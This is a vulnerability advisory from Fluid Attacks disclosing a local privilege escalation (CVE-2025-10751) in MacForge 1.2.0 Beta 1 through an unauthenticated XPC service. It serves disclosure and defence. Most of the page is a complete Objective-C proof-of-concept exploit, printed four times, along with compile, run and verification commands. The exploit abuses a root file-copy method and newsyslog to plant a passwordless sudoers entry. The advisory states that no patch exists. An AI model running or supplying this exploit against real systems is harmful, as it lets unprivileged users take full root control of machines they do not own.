
MacForge 1.2.0 Beta 1 - Local Privilege Escalation
8.5
High
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
MacForge 1.2.0 Beta 1 - Local Privilege Escalation via Insecure XPC Service
Code name
State
Public
Release date
Oct 3, 2025
Affected product
MacForge
Vendor
Mac Enhance
Affected version(s)
1.2.0 Beta 1
Vulnerability name
Privilege escalation
Vulnerability type
Remotely exploitable
No
CVSS v4.0 vector string
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS v4.0 base score
8.5
Exploit available
Yes
CVE ID(s)
Description
MacForge version 1.2.0 for macOS contains an insecure XPC service that allows local, unprivileged users to escalate their privileges to root. The vulnerability stems from the XPC service com.macenhance.MacForge.Injector.mach, which exposes a method installFramework:atlocation:withReply:. This method can be invoked by any local user without authentication or authorization checks.
An attacker can abuse this method to perform arbitrary file copy operations to any location on the filesystem with root privileges. The resulting file's permissions are the same as the original file. But by chaining this powerful primitive with the standard behavior of the macOS newsyslog utility, an attacker can create a malicious sudoers configuration file, granting them full, passwordless root access.
Vulnerability
The core of the vulnerability lies in the MFInjectorProtocol XPC interface, which does not validate the client connecting to it, allowing any local process to invoke its methods. The installFramework method, intended for installing application frameworks, fails to validate its input paths, effectively becoming an arbitrary file copy function running as root.
This allows a local attacker to:
Exploit 1:
Write arbitrary files to sensitive system locations.
Leverage this file-write primitive to create a malicious newsyslog configuration.
Trigger newsyslog to create a root-owned file with attacker-controlled content.
Place this file in /etc/sudoers.d/ to gain permanent root privileges.
Exploit 2:
Overwrite /etc/paths to add a path to a directory controlled by the attacker and hijack system binaries. (require user interactions)
Overwrite the /etc/hosts file to redirect the traffic to a malicious server. (require user interactions)
PoC
The following Proof of Concept (PoC) demonstrates the escalation from a standard user to root. It is implemented in Objective-C and requires compilation with the Foundation framework.
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m #import <Foundation/Foundation.h> #import <unistd.h> // XPC Protocol from class-dump @protocol MFInjectorProtocol - (void)installFramework:(NSString *)frameworkPath atlocation:(NSString *)destPath withReply:(void (^)(int result))reply; @end static void arbitraryCopy(NSString *src, NSString *dst) { NSString *serviceName = @"com.macenhance.MacForge.Injector.mach"; // Privilege Connection NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged]; // Start Remote Protocol conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)]; [conn resume]; id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) { }]; // Call Install Framework // Arbitrary Copy [proxy installFramework:src atlocation:dst withReply:^(int result) { if (result == 0) { // Not Working NSLog(@"File copied as root"); } }]; } static void createTempFile(NSString *content, NSString *path){ NSError *error = nil; BOOL ok = [content writeToFile:path atomically:YES encoding:NSUTF8StringEncoding error:&error]; if (ok) { NSLog(@"File written at %@", path); } else { NSLog(@"Error: %@", error); } } static void initialSetup(NSString *user){ NSLog(@"Creating /tmp/dummy_log.log"); // should act as sudoers file later NSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n", user]; NSString *path = @"/tmp/dummy_log.log"; createTempFile(content, path); NSLog(@"Creating /tmp/malicious_newsyslog.conf"); NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n"; NSString *path2 = @"/tmp/malicious_newsyslog.conf"; createTempFile(content2, path2); } static BOOL checkRotateOwnedByRoot(NSString *path) { NSFileManager *fm = [NSFileManager defaultManager]; BOOL exists = [fm fileExistsAtPath:path]; if (!exists) { return NO; } NSError *error = nil; NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error]; if (!attrs) { return NO; } NSString *owner = attrs[NSFileOwnerAccountName]; NSNumber *ownerUID = attrs[NSFileOwnerAccountID]; NSLog(@"The file %@ exists. Owner: %@ (UID=%@)", path, owner, ownerUID); // Verificamos si es root if ([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) { NSLog(@"Is owned by root"); return YES; } else { NSLog(@"Not owned by root"); return NO; } } BOOL anyLogOrConfigExists(void) { NSArray *paths = @[ @"/var/log/dummy_log.log", @"/var/log/dummy_log.log.0", @"/var/log/dummy_log.log.1", @"/var/log/dummy_log.log.2", @"/etc/newsyslog.d/malicious_newsyslog.conf" ]; NSFileManager *fm = [NSFileManager defaultManager]; for (NSString *path in paths) { if ([fm fileExistsAtPath:path]) { NSLog(@"The path %@ exists, do cleanup or change filenames", path); return YES; // Path exists, should rename paths } } return NO; // Ready to call exploit. } int main(int argc, const char * argv[]) { @autoreleasepool { // Create dummy log containing if (anyLogOrConfigExists()){ return 1; } // User to add into sudoers NSString *user = @"nonroot"; // CHANGE THIS NSLog(@"Initial Setup"); initialSetup(user); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log"); arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf"); arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf"); sleep(1); NSString *path = @"/var/log/dummy_log.log.0"; NSLog(@"Waiting for newsyslog to run"); while(!checkRotateOwnedByRoot(path)){ sleep(5); } NSLog(@"Ready to copy to sudoers"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot"); arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot"); //[[NSRunLoop currentRunLoop] run]; } return 0; }
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m #import <Foundation/Foundation.h> #import <unistd.h> // XPC Protocol from class-dump @protocol MFInjectorProtocol - (void)installFramework:(NSString *)frameworkPath atlocation:(NSString *)destPath withReply:(void (^)(int result))reply; @end static void arbitraryCopy(NSString *src, NSString *dst) { NSString *serviceName = @"com.macenhance.MacForge.Injector.mach"; // Privilege Connection NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged]; // Start Remote Protocol conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)]; [conn resume]; id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) { }]; // Call Install Framework // Arbitrary Copy [proxy installFramework:src atlocation:dst withReply:^(int result) { if (result == 0) { // Not Working NSLog(@"File copied as root"); } }]; } static void createTempFile(NSString *content, NSString *path){ NSError *error = nil; BOOL ok = [content writeToFile:path atomically:YES encoding:NSUTF8StringEncoding error:&error]; if (ok) { NSLog(@"File written at %@", path); } else { NSLog(@"Error: %@", error); } } static void initialSetup(NSString *user){ NSLog(@"Creating /tmp/dummy_log.log"); // should act as sudoers file later NSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n", user]; NSString *path = @"/tmp/dummy_log.log"; createTempFile(content, path); NSLog(@"Creating /tmp/malicious_newsyslog.conf"); NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n"; NSString *path2 = @"/tmp/malicious_newsyslog.conf"; createTempFile(content2, path2); } static BOOL checkRotateOwnedByRoot(NSString *path) { NSFileManager *fm = [NSFileManager defaultManager]; BOOL exists = [fm fileExistsAtPath:path]; if (!exists) { return NO; } NSError *error = nil; NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error]; if (!attrs) { return NO; } NSString *owner = attrs[NSFileOwnerAccountName]; NSNumber *ownerUID = attrs[NSFileOwnerAccountID]; NSLog(@"The file %@ exists. Owner: %@ (UID=%@)", path, owner, ownerUID); // Verificamos si es root if ([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) { NSLog(@"Is owned by root"); return YES; } else { NSLog(@"Not owned by root"); return NO; } } BOOL anyLogOrConfigExists(void) { NSArray *paths = @[ @"/var/log/dummy_log.log", @"/var/log/dummy_log.log.0", @"/var/log/dummy_log.log.1", @"/var/log/dummy_log.log.2", @"/etc/newsyslog.d/malicious_newsyslog.conf" ]; NSFileManager *fm = [NSFileManager defaultManager]; for (NSString *path in paths) { if ([fm fileExistsAtPath:path]) { NSLog(@"The path %@ exists, do cleanup or change filenames", path); return YES; // Path exists, should rename paths } } return NO; // Ready to call exploit. } int main(int argc, const char * argv[]) { @autoreleasepool { // Create dummy log containing if (anyLogOrConfigExists()){ return 1; } // User to add into sudoers NSString *user = @"nonroot"; // CHANGE THIS NSLog(@"Initial Setup"); initialSetup(user); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log"); arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf"); arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf"); sleep(1); NSString *path = @"/var/log/dummy_log.log.0"; NSLog(@"Waiting for newsyslog to run"); while(!checkRotateOwnedByRoot(path)){ sleep(5); } NSLog(@"Ready to copy to sudoers"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot"); arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot"); //[[NSRunLoop currentRunLoop] run]; } return 0; }
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m #import <Foundation/Foundation.h> #import <unistd.h> // XPC Protocol from class-dump @protocol MFInjectorProtocol - (void)installFramework:(NSString *)frameworkPath atlocation:(NSString *)destPath withReply:(void (^)(int result))reply; @end static void arbitraryCopy(NSString *src, NSString *dst) { NSString *serviceName = @"com.macenhance.MacForge.Injector.mach"; // Privilege Connection NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged]; // Start Remote Protocol conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)]; [conn resume]; id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) { }]; // Call Install Framework // Arbitrary Copy [proxy installFramework:src atlocation:dst withReply:^(int result) { if (result == 0) { // Not Working NSLog(@"File copied as root"); } }]; } static void createTempFile(NSString *content, NSString *path){ NSError *error = nil; BOOL ok = [content writeToFile:path atomically:YES encoding:NSUTF8StringEncoding error:&error]; if (ok) { NSLog(@"File written at %@", path); } else { NSLog(@"Error: %@", error); } } static void initialSetup(NSString *user){ NSLog(@"Creating /tmp/dummy_log.log"); // should act as sudoers file later NSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n", user]; NSString *path = @"/tmp/dummy_log.log"; createTempFile(content, path); NSLog(@"Creating /tmp/malicious_newsyslog.conf"); NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n"; NSString *path2 = @"/tmp/malicious_newsyslog.conf"; createTempFile(content2, path2); } static BOOL checkRotateOwnedByRoot(NSString *path) { NSFileManager *fm = [NSFileManager defaultManager]; BOOL exists = [fm fileExistsAtPath:path]; if (!exists) { return NO; } NSError *error = nil; NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error]; if (!attrs) { return NO; } NSString *owner = attrs[NSFileOwnerAccountName]; NSNumber *ownerUID = attrs[NSFileOwnerAccountID]; NSLog(@"The file %@ exists. Owner: %@ (UID=%@)", path, owner, ownerUID); // Verificamos si es root if ([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) { NSLog(@"Is owned by root"); return YES; } else { NSLog(@"Not owned by root"); return NO; } } BOOL anyLogOrConfigExists(void) { NSArray *paths = @[ @"/var/log/dummy_log.log", @"/var/log/dummy_log.log.0", @"/var/log/dummy_log.log.1", @"/var/log/dummy_log.log.2", @"/etc/newsyslog.d/malicious_newsyslog.conf" ]; NSFileManager *fm = [NSFileManager defaultManager]; for (NSString *path in paths) { if ([fm fileExistsAtPath:path]) { NSLog(@"The path %@ exists, do cleanup or change filenames", path); return YES; // Path exists, should rename paths } } return NO; // Ready to call exploit. } int main(int argc, const char * argv[]) { @autoreleasepool { // Create dummy log containing if (anyLogOrConfigExists()){ return 1; } // User to add into sudoers NSString *user = @"nonroot"; // CHANGE THIS NSLog(@"Initial Setup"); initialSetup(user); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log"); arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf"); arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf"); sleep(1); NSString *path = @"/var/log/dummy_log.log.0"; NSLog(@"Waiting for newsyslog to run"); while(!checkRotateOwnedByRoot(path)){ sleep(5); } NSLog(@"Ready to copy to sudoers"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot"); arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot"); //[[NSRunLoop currentRunLoop] run]; } return 0; }
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m #import <Foundation/Foundation.h> #import <unistd.h> // XPC Protocol from class-dump @protocol MFInjectorProtocol - (void)installFramework:(NSString *)frameworkPath atlocation:(NSString *)destPath withReply:(void (^)(int result))reply; @end static void arbitraryCopy(NSString *src, NSString *dst) { NSString *serviceName = @"com.macenhance.MacForge.Injector.mach"; // Privilege Connection NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged]; // Start Remote Protocol conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)]; [conn resume]; id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) { }]; // Call Install Framework // Arbitrary Copy [proxy installFramework:src atlocation:dst withReply:^(int result) { if (result == 0) { // Not Working NSLog(@"File copied as root"); } }]; } static void createTempFile(NSString *content, NSString *path){ NSError *error = nil; BOOL ok = [content writeToFile:path atomically:YES encoding:NSUTF8StringEncoding error:&error]; if (ok) { NSLog(@"File written at %@", path); } else { NSLog(@"Error: %@", error); } } static void initialSetup(NSString *user){ NSLog(@"Creating /tmp/dummy_log.log"); // should act as sudoers file later NSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n", user]; NSString *path = @"/tmp/dummy_log.log"; createTempFile(content, path); NSLog(@"Creating /tmp/malicious_newsyslog.conf"); NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n"; NSString *path2 = @"/tmp/malicious_newsyslog.conf"; createTempFile(content2, path2); } static BOOL checkRotateOwnedByRoot(NSString *path) { NSFileManager *fm = [NSFileManager defaultManager]; BOOL exists = [fm fileExistsAtPath:path]; if (!exists) { return NO; } NSError *error = nil; NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error]; if (!attrs) { return NO; } NSString *owner = attrs[NSFileOwnerAccountName]; NSNumber *ownerUID = attrs[NSFileOwnerAccountID]; NSLog(@"The file %@ exists. Owner: %@ (UID=%@)", path, owner, ownerUID); // Verificamos si es root if ([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) { NSLog(@"Is owned by root"); return YES; } else { NSLog(@"Not owned by root"); return NO; } } BOOL anyLogOrConfigExists(void) { NSArray *paths = @[ @"/var/log/dummy_log.log", @"/var/log/dummy_log.log.0", @"/var/log/dummy_log.log.1", @"/var/log/dummy_log.log.2", @"/etc/newsyslog.d/malicious_newsyslog.conf" ]; NSFileManager *fm = [NSFileManager defaultManager]; for (NSString *path in paths) { if ([fm fileExistsAtPath:path]) { NSLog(@"The path %@ exists, do cleanup or change filenames", path); return YES; // Path exists, should rename paths } } return NO; // Ready to call exploit. } int main(int argc, const char * argv[]) { @autoreleasepool { // Create dummy log containing if (anyLogOrConfigExists()){ return 1; } // User to add into sudoers NSString *user = @"nonroot"; // CHANGE THIS NSLog(@"Initial Setup"); initialSetup(user); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log"); arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf"); arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf"); sleep(1); NSString *path = @"/var/log/dummy_log.log.0"; NSLog(@"Waiting for newsyslog to run"); while(!checkRotateOwnedByRoot(path)){ sleep(5); } NSLog(@"Ready to copy to sudoers"); sleep(1); NSLog(@"Calling XPC exploit"); NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot"); arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot"); //[[NSRunLoop currentRunLoop] run]; } return 0; }
Evidence of Exploitation
Compile the exploit:
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
Run the exploit:
./priv_esc./priv_esc./priv_esc./priv_escTrigger newsyslog: The exploit will wait for the automatic execution of newsyslog (which happens hourly by default on macOS). To accelerate, the attacker can manually trigger it from another terminal:
sudo newsyslog -F
sudo newsyslog -F
sudo newsyslog -F
sudo newsyslog -F
Verify privileges: Once the exploit completes, the user nonroot will have passwordless sudo access.
sudo -u nonroot whoami # Expected output: root
sudo -u nonroot whoami # Expected output: root
sudo -u nonroot whoami # Expected output: root
sudo -u nonroot whoami # Expected output: root
Newsyslog logs (executed each hour)

Exploit

Newsyslog config added

/var/log/dummy_log.log.0 permissions and content after rotated.


Our security policy
We have reserved the ID CVE-2025-10751 to refer to this issue from now on.
System Information
MacForge
Version 1.2.0 Beta 1
Operating System: Mac
References
Github Repository: https://github.com/MacEnhance/MacForge
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.
Timeline
Sep 9, 2025
Vulnerability discovered
Sep 19, 2025
Vendor contacted
Oct 3, 2025
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.





